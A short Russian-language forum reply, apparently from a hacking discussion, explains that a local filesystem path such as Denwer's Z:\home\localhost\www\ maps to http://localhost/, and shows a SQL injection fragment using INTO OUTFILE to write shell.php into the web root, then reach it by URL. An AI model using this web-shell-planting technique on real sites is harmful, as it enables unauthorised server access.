Нет , Локальный путь, то что ты видишь в проводнике(или что там у тебя), а не в браузере. И доступен он будет там куда ты его положишь.

Тоесть (например для денвера)
http://localhost/ ------- это Z:\home\localhost\www\

Льём
INTO+OUTFILE+'Z:\home\localhost\www\shell.php'

доступен:
http://localhost/shell.php